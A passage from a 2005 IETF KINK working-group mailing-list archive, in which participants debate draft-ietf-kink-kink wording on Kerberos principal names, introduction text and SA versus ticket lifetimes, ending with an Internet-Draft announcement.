KINK/Kerberos specific matter, though. > > >> >> So there may be cases where kink/fqdn is not the real principal name >> >> used by the service. What if kink/foo.dom.ain@REALM is an alias for >> >> host/FOO$@REALM, or a little trickier, host/FOO$@REALM2? >> > >> > You seems to have interpreted "obtained from some name services" as >> > "canonicalizing a name". My intention was "getting an FQDN from an IP >> > address"; of course this isn't referring insecure DNS reverse >> > resolution. There was no intention to forbid names that are not >> > beginning with "kink/". >> >> Sorry if I was reading this incorrectly. > > No, that was a problem of my writing, sorry. > > -- > KAMADA Ken'ichi > > > -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Sun Sep 25 21:38:04 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8Q4c4Ge090671; Sun, 25 Sep 2005 21:38:04 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8Q4c4Nm090670; Sun, 25 Sep 2005 21:38:04 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8Q4c3Zl090663 for ; Sun, 25 Sep 2005 21:38:03 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id F2BAD5E; Mon, 26 Sep 2005 13:37:59 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1QwQFb; Mon, 26 Sep 2005 13:38:01 +0900 (JST) Date: Mon, 26 Sep 2005 13:38:02 +0900 Message-ID: <20050926133802LA%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: derek@ihtfp.com, thomasm@cisco.com Cc: ietf-kink@vpnc.org Subject: pre-kink-10 User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 23 Sep 2005 10:50:02 -0400, Derek Atkins wrote: > > So have we come to consensus on how to handle these issues? > If there was a misunderstanding from the reading of the text, > then we should add some additional text to help ensure that > the same misunderstanding does not occur again. The revised text in msgid:<20050913145645MH%kamada@nanohz.org> should address this, I think. I've also merged most of the comments from Ken. I've put the current version and an rfcdiff. One thing I'd like to hear from the WG (esp. Mike?): At Wed, 7 Sep 2005 15:08:29 -0400, Ken Raeburn wrote: > > Relatively minor stuff: > > - Introduction: > > Kerberos, like any internet protocol, does have > its own security considerations. You can find them discussed in > [KERBEROS]. > > That's security-considerations material, not introductory > material. In fact, I think the security considerations section > already talks about it. These sentences seem to have been added as a result of the previous IESG review, for a comment from Randy Bush. (See the first comment.) I feel he was not focusing on security vulnerabilities (as he gave scalability as an example). So, I'll replace that part with the following. Kerberos, like any internet protocol, does have drawbacks on certain environments. You can find them discussed in [KERBEROS] and its references. Do you have better sentences? -- KAMADA Ken'ichi From owner-ietf-kink Fri Sep 30 00:43:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8U7huTV048273; Fri, 30 Sep 2005 00:43:56 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8U7ht5O048272; Fri, 30 Sep 2005 00:43:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8U7hrCx048262 for ; Fri, 30 Sep 2005 00:43:54 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j8U7elH6083510; Fri, 30 Sep 2005 16:40:48 +0900 (JST) (envelope-from sakane@kame.net) To: derek@ihtfp.com Cc: thomasm@cisco.com, mat@cisco.com, ietf-kink@vpnc.org Subject: Re: pre-kink-10 In-Reply-To: Your message of "Mon, 26 Sep 2005 13:38:02 +0900" <20050926133802LA%kamada@nanohz.org> References: <20050926133802LA%kamada@nanohz.org> X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050930164252S.sakane@kame.net> Date: Fri, 30 Sep 2005 16:42:52 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 37 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I think that this sentence should not be in the introduction, should be in the security consideration that Ken mentioned. On the other hand, there is a same sentence in the security consideration. So we might be able to just remove it. However the sentence was added after a IESG review. Thus I do not know we can remove it easily. Derek, could you decide whether it can remove or not ? > > Relatively minor stuff: > > > > - Introduction: > > > > Kerberos, like any internet protocol, does have > > its own security considerations. You can find them discussed in > > [KERBEROS]. > > > > That's security-considerations material, not introductory > > material. In fact, I think the security considerations section > > already talks about it. > > These sentences seem to have been added as a result of the > previous IESG review, for a comment from Randy Bush. > > (See the first comment.) > I feel he was not focusing on security vulnerabilities (as he gave > scalability as an example). > So, I'll replace that part with the following. > > Kerberos, like any internet protocol, does have drawbacks on certain > environments. You can find them discussed in [KERBEROS] and its > references. > > Do you have better sentences? From owner-ietf-kink Fri Sep 30 03:03:50 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UA3nA1060698; Fri, 30 Sep 2005 03:03:49 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8UA3nsq060693; Fri, 30 Sep 2005 03:03:49 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (221x116x13x66.ap221.ftth.ucom.ne.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UA3i4k060642 for ; Fri, 30 Sep 2005 03:03:45 -0700 (PDT) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:205:4eff:fe42:f9b3] ([2001:240:2:0:205:4eff:fe42:f9b3]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Fri, 30 Sep 2005 19:03:28 +0900 id 0000F90A.433D0D70.00003F68 Message-ID: <433D0D76.5060707@miyazawa.org> Date: Fri, 30 Sep 2005 19:03:34 +0900 From: Kazunori Miyazawa User-Agent: Debian Thunderbird 1.0.2 (X11/20050817) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "KAMADA Ken'ichi" CC: ietf-kink@vpnc.org Subject: Re: Ticket and SA lifetime (Re: kink-09) References: <20050914102420MN%kamada@nanohz.org> In-Reply-To: <20050914102420MN%kamada@nanohz.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: KAMADA Ken'ichi wrote: > At Wed, 7 Sep 2005 15:08:29 -0400, > Ken Raeburn wrote: > >>Relatively minor stuff: > > >>- Section 3.6: One case that might be worth mentioning is when the >>user's tickets are going to expire at the end of the "hard lifetime >>by time" of the SA. In that case, unless there's some other reason >>(lifetime by byte count?), there's no purpose in attempting to rekey, >>because the new SA will have the same expiration time. (This sort of >>applies also in renewable-TGT or PKINIT or keytab cases when the KDC >>isn't available to issue a new TGT, but that could be seen as >>starting the rekey process and then failing.) In some environments, >>it may make sense to prompt the user to re-enter their password, but >>until the new tickets are actually acquired (or the byte count gets >>high enough), it makes no sense to continue. > > > Do you assume that the SA lifetime is truncated to the ticket endtime? > > Is the lifetime of application session limited to the service ticket > in usual Kerberized applications? > I.e., if I (kerberized-)telnet to a remote host with a service ticket, > what will happen when the ticket expires? Is the telnet session > disconnected? > # I can't find something on this in RFC 4120 or RFC 2942. > > > Sidenote: at least when Key Exchange payloads are used, > a ticket and an SA will have independent lifetimes. > I think Mr. Raeburn might point that KINK should obtain new ticket before rekey if the ticket is going to expire. I accordingly thought we needed to change the 2nd paragraph in the section 3.6 to There are no special semantics for rekeying SAs in KINK. That is, in order to rekey an existing SA, the initiator must CREATE a new SA followed by either deleting the old SA with the DELETE flow or letting it timeout (If the initiator needs a new service ticket it should obtain it in advance). When identical flow selectors are available on different SAs, KINK implementations SHOULD choose the SA most recently created. It should be noted that KINK avoids most of the problems of [IKE] rekeying by having a reliable delete mechanism. But, I found in the section 3 KINK uses Kerberos as the authentication mechanism, therefore a KINK host needs to get a service ticket for each peer before actual key negotiations. This is basically a pure Kerberos exchange and the actual KDC traffic here is for illustrative purposes only. In practice, when a principal obtains various tickets is a subject of Kerberos and local policy consideration. I think when and how getting a servcice ticket is a local matter and it does not cause interoperability issues so that we don't need the change. -- Kazunori Miyazawa From owner-ietf-kink Fri Sep 30 08:21:46 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UFLkgt090501; Fri, 30 Sep 2005 08:21:46 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8UFLkAJ090500; Fri, 30 Sep 2005 08:21:46 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UFLiAa090478 for ; Fri, 30 Sep 2005 08:21:44 -0700 (PDT) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com ([171.71.177.254]) by sj-iport-2.cisco.com with ESMTP; 30 Sep 2005 08:21:39 -0700 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j8UFLVKC023483; Fri, 30 Sep 2005 08:21:31 -0700 (PDT) Received: from [216.102.208.12] (sjc-vpn6-260.cisco.com [10.21.121.4]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j8UFXBOs016034; Fri, 30 Sep 2005 08:33:12 -0700 Message-ID: <433D580D.1010004@cisco.com> Date: Fri, 30 Sep 2005 08:21:49 -0700 From: Michael Thomas User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Thunderbird/0.8 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kazunori Miyazawa CC: "KAMADA Ken'ichi" , ietf-kink@vpnc.org Subject: Re: Ticket and SA lifetime (Re: kink-09) References: <20050914102420MN%kamada@nanohz.org> <433D0D76.5060707@miyazawa.org> In-Reply-To: <433D0D76.5060707@miyazawa.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit DKIM-Signature: a=rsa-sha1; q=dns; l=2783; t=1128094393; x=1128526593; c=nowsp; s=nebraska; h=Subject:From:Date:Content-Type:Content-Transfer-Encoding; d=cisco.com; i=mat@cisco.com; z=Subject:Re=3A=20Ticket=20and=20SA=20lifetime=20(Re=3A=20kink-09)| From:Michael=20Thomas=20| Date:Fri,=2030=20Sep=202005=2008=3A21=3A49=20-0700| Content-Type:text/plain=3B=20charset=3DISO-8859-1=3B=20format=3Dflowed| Content-Transfer-Encoding:7bit; b=XSIwqcW+H/lzdFivGVt53lzp+zff9UU6A2cKxC1Wr4lz0Ktfh6f/Oq1c+3qBrKARyKxLqbbr JvaZedt/SQmLW3Ucz1QIYzL5cnhNNyFE6+P+vuNUavJ+YzC6vy4ZMG6wff4GPjNboLpWPtqq8kz vRB1EG3yNDtHsTE8RUnrNE6U= Authentication-Results: imail.cisco.com; header.From=mat@cisco.com; dkim=pass ( message from cisco.com verified; ); Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: What I'd appreciate here is some insight as to what other Kerberized applications do, especially ones that have their own session timers. If they all mimimize their lifetimes to the extant of the kerberos ticket lifetime, then that pretty much tells us we should too. If some are independant, then I think it's probably a local policy decision of the receiver assuming that the ISAKMP negotiation allows a longer proposed lifetime to be shortened by the receiver. If that's the case, then I don't think that the spec needs to recommend anything, and if it does it should at most be a SHOULD. Mike Kazunori Miyazawa wrote: > > KAMADA Ken'ichi wrote: > >> At Wed, 7 Sep 2005 15:08:29 -0400, >> Ken Raeburn wrote: >> >>> Relatively minor stuff: >> >> >> >>> - Section 3.6: One case that might be worth mentioning is when the >>> user's tickets are going to expire at the end of the "hard lifetime >>> by time" of the SA. In that case, unless there's some other reason >>> (lifetime by byte count?), there's no purpose in attempting to >>> rekey, because the new SA will have the same expiration time. (This >>> sort of applies also in renewable-TGT or PKINIT or keytab cases when >>> the KDC isn't available to issue a new TGT, but that could be seen >>> as starting the rekey process and then failing.) In some >>> environments, it may make sense to prompt the user to re-enter their >>> password, but until the new tickets are actually acquired (or the >>> byte count gets high enough), it makes no sense to continue. >> >> >> >> Do you assume that the SA lifetime is truncated to the ticket endtime? >> >> Is the lifetime of application session limited to the service ticket >> in usual Kerberized applications? >> I.e., if I (kerberized-)telnet to a remote host with a service ticket, >> what will happen when the ticket expires? Is the telnet session >> disconnected? >> # I can't find something on this in RFC 4120 or RFC 2942. >> >> >> Sidenote: at least when Key Exchange payloads are used, >> a ticket and an SA will have independent lifetimes. >> > > I think Mr. Raeburn might point that KINK should obtain new ticket > before rekey > if the ticket is going to expire. > > I accordingly thought we needed to change the 2nd paragraph in the > section 3.6 to > > There are no special semantics for rekeying SAs in KINK. That is, in > order to rekey an existing SA, the initiator must CREATE a new SA > followed by either deleting the old SA with the DELETE flow or > letting it timeout (If the initiator needs a new service ticket > it should obtain it in advance). When identical flow selectors are > available on different SAs, KINK implementations SHOULD choose the SA > most > recently created. It should be noted that KINK avoids most of the > problems of [IKE] rekeying by having a reliable delete mechanism. > > But, I found in the section 3 > > KINK uses Kerberos as the authentication mechanism, therefore a KINK > host needs to get a service ticket for each peer before actual key > negotiations. This is basically a pure Kerberos exchange and the > actual KDC traffic here is for illustrative purposes only. In > practice, when a principal obtains various tickets is a subject of > Kerberos and local policy consideration. > > I think when and how getting a servcice ticket is a local matter and > it does not cause interoperability issues so that we don't need the change. > From owner-ietf-kink Fri Sep 30 12:26:57 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UJQv8n010633; Fri, 30 Sep 2005 12:26:57 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8UJQvSD010632; Fri, 30 Sep 2005 12:26:57 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UJQuEM010626 for ; Fri, 30 Sep 2005 12:26:56 -0700 (PDT) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j8UJQpCm014511; Fri, 30 Sep 2005 15:26:51 -0400 (EDT) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.1/8.12.4) with ESMTP id j8UJQhBR024411 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Fri, 30 Sep 2005 15:26:45 -0400 (EDT) In-Reply-To: <20050914102420MN%kamada@nanohz.org> References: <20050914102420MN%kamada@nanohz.org> Mime-Version: 1.0 (Apple Message framework v734) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <8D75C2AD-473A-46CE-9611-D2C74EAE4F1A@mit.edu> Cc: ietf-kink@vpnc.org Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Ticket and SA lifetime (Re: kink-09) Date: Fri, 30 Sep 2005 15:02:31 -0400 To: "KAMADA Ken'ichi" X-Mailer: Apple Mail (2.734) X-Spam-Score: -2.099 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sep 13, 2005, at 21:24, KAMADA Ken'ichi wrote: > Do you assume that the SA lifetime is truncated to the ticket endtime? For some reason I was thinking it was, but now I see nothing in the draft to support that. > Is the lifetime of application session limited to the service ticket > in usual Kerberized applications? > I.e., if I (kerberized-)telnet to a remote host with a service ticket, > what will happen when the ticket expires? Is the telnet session > disconnected? > # I can't find something on this in RFC 4120 or RFC 2942. It depends on the application. Sometimes the session dies immediately, sometimes the session is kept open indefinitely. Sorry, I should've checked more closely.... Ken From owner-ietf-kink Fri Sep 30 12:44:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UJi8cQ012052; Fri, 30 Sep 2005 12:44:08 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j8UJi81I012051; Fri, 30 Sep 2005 12:44:08 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-5.cisco.com (sj-iport-5.cisco.com [171.68.10.87]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j8UJi73B012028 for ; Fri, 30 Sep 2005 12:44:07 -0700 (PDT) (envelope-from mat@cisco.com) Received: from sj-core-3.cisco.com ([171.68.223.137]) by sj-iport-5.cisco.com with ESMTP; 30 Sep 2005 12:44:02 -0700 X-IronPort-AV: i="3.97,162,1125903600"; d="scan'208"; a="216166466:sNHT24594742" Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id j8UJhxVt010324; Fri, 30 Sep 2005 12:43:59 -0700 (PDT) Received: from [171.71.193.231] (dhcp-171-71-193-231.cisco.com [171.71.193.231]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j8UJtYEF018559; Fri, 30 Sep 2005 12:55:34 -0700 Message-ID: <433D958C.7030708@cisco.com> Date: Fri, 30 Sep 2005 12:44:12 -0700 From: Michael Thomas User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Thunderbird/0.8 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ken Raeburn CC: "KAMADA Ken'ichi" , ietf-kink@vpnc.org Subject: Re: Ticket and SA lifetime (Re: kink-09) References: <20050914102420MN%kamada@nanohz.org> <8D75C2AD-473A-46CE-9611-D2C74EAE4F1A@mit.edu> In-Reply-To: <8D75C2AD-473A-46CE-9611-D2C74EAE4F1A@mit.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit DKIM-Signature: a=rsa-sha1; q=dns; l=796; t=1128110134; x=1128542334; c=nowsp; s=nebraska; h=Subject:From:Date:Content-Type:Content-Transfer-Encoding; d=cisco.com; i=mat@cisco.com; z=Subject:Re=3A=20Ticket=20and=20SA=20lifetime=20(Re=3A=20kink-09)| From:Michael=20Thomas=20| Date:Fri,=2030=20Sep=202005=2012=3A44=3A12=20-0700| Content-Type:text/plain=3B=20charset=3DISO-8859-1=3B=20format=3Dflowed| Content-Transfer-Encoding:7bit; b=ekHNA1luAW01LqI4TlVkG4U+hLWkHhXgsoT6tbjboJhnJX2nkzqdFj0mCu/heeLdBlnnFrLg ddyQJ2e2XebJeV1qkbRsWUwHiHukblikd+gkqRtDO6YXGUU4EuOqMbU7YmTt2mWnfBWzj37kJ4w MwQ0KEjBpkKyhclmi2KZJyQ0= Authentication-Results: imail.cisco.com; header.From=mat@cisco.com; dkim=pass ( message from cisco.com verified; ); Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken Raeburn wrote: > > On Sep 13, 2005, at 21:24, KAMADA Ken'ichi wrote: > >> Do you assume that the SA lifetime is truncated to the ticket endtime? > > > For some reason I was thinking it was, but now I see nothing in the > draft to support that. > >> Is the lifetime of application session limited to the service ticket >> in usual Kerberized applications? >> I.e., if I (kerberized-)telnet to a remote host with a service ticket, >> what will happen when the ticket expires? Is the telnet session >> disconnected? >> # I can't find something on this in RFC 4120 or RFC 2942. > > > It depends on the application. Sometimes the session dies immediately, > sometimes the session is kept open indefinitely. > > Sorry, I should've checked more closely.... Then so long as the IKE phase 2 negotiations have the ability for the receiver to minimize the lifetime (which I think it does), then I don't really think there's much if anything that the spec needs to say about this. Mike From owner-ietf-kink Thu Oct 6 11:09:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j96I9EU7008522; Thu, 6 Oct 2005 11:09:14 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j96I9ERD008521; Thu, 6 Oct 2005 11:09:14 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from carter-zimmerman.mit.edu (STRATTON-FOUR-SIXTY-SEVEN.MIT.EDU [18.187.6.212]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j96I9BRe008512 for ; Thu, 6 Oct 2005 11:09:13 -0700 (PDT) (envelope-from hartmans@mit.edu) Received: by carter-zimmerman.mit.edu (Postfix, from userid 8042) id 2EA90E0049; Thu, 6 Oct 2005 14:09:05 -0400 (EDT) To: Shoichi Sakane Cc: derek@ihtfp.com, thomasm@cisco.com, mat@cisco.com, ietf-kink@vpnc.org Subject: Re: pre-kink-10 References: <20050926133802LA%kamada@nanohz.org> <20050930164252S.sakane@kame.net> From: Sam Hartman Date: Thu, 06 Oct 2005 14:09:05 -0400 In-Reply-To: <20050930164252S.sakane@kame.net> (Shoichi Sakane's message of "Fri, 30 Sep 2005 16:42:52 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Shoichi" == Shoichi Sakane writes: Shoichi> However the sentence was added after a IESG review. Thus Shoichi> I do not know we can remove it easily. I wouldn't worry too much about it. Randy is not on the IESG any more and I think the tone of the document has changed enough that his concern is no longer valid. If we need to add it back I can do so with an rfc editor note during final balloting. From owner-ietf-kink Thu Oct 6 17:35:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j970Zl6d041238; Thu, 6 Oct 2005 17:35:47 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j970ZlLW041236; Thu, 6 Oct 2005 17:35:47 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (220x218x5x242.ap220.ftth.ucom.ne.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j970ZkC6041230 for ; Thu, 6 Oct 2005 17:35:46 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 156E85E; Fri, 7 Oct 2005 09:35:43 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3qCyqy; Fri, 7 Oct 2005 09:35:44 +0900 (JST) Date: Fri, 07 Oct 2005 09:35:42 +0900 Message-ID: <20051007093542DA%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: hartmans-ietf@mit.edu, ietf-kink@vpnc.org Subject: Re: pre-kink-10 In-Reply-To: References: <20050926133802LA%kamada@nanohz.org> <20050930164252S.sakane@kame.net> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 06 Oct 2005 14:09:05 -0400, Sam Hartman wrote: > > Shoichi> However the sentence was added after a IESG review. Thus > Shoichi> I do not know we can remove it easily. > > I wouldn't worry too much about it. > > Randy is not on the IESG any more and I think the tone of the document > has changed enough that his concern is no longer valid. > > If we need to add it back I can do so with an rfc editor note during > final balloting. Sounds reasonable. So we will submit a new draft soon, thanks. -- KAMADA Ken'ichi From owner-ietf-kink Tue Oct 11 07:50:02 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j9BEo2RE092041; Tue, 11 Oct 2005 07:50:02 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j9BEo2Lw092040; Tue, 11 Oct 2005 07:50:02 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from newodin.ietf.org ([132.151.6.50]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j9BEo2Hu092034 for ; Tue, 11 Oct 2005 07:50:02 -0700 (PDT) (envelope-from mlee@newodin.ietf.org) Received: from mlee by newodin.ietf.org with local (Exim 4.43) id 1EPLS5-0005dJ-Jc; Tue, 11 Oct 2005 10:50:01 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-10.txt Message-Id: Date: Tue, 11 Oct 2005 10:50:01 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : S. Sakane, et al. Filename : draft-ietf-kink-kink-10.txt Pages : 42 Date : 2005-10-11 This document describes the Kerberized Internet Negotiation of Keys (KINK) protocol. KINK defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to establish and maintain security associations using the Kerberos authentication system. KINK reuses the Quick Mode payloads of the Internet Key Exchange (IKE), which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-10.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-10.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-10.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-10-11102536.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-10.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-10.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-10-11102536.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue Nov 1 15:52:12 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with 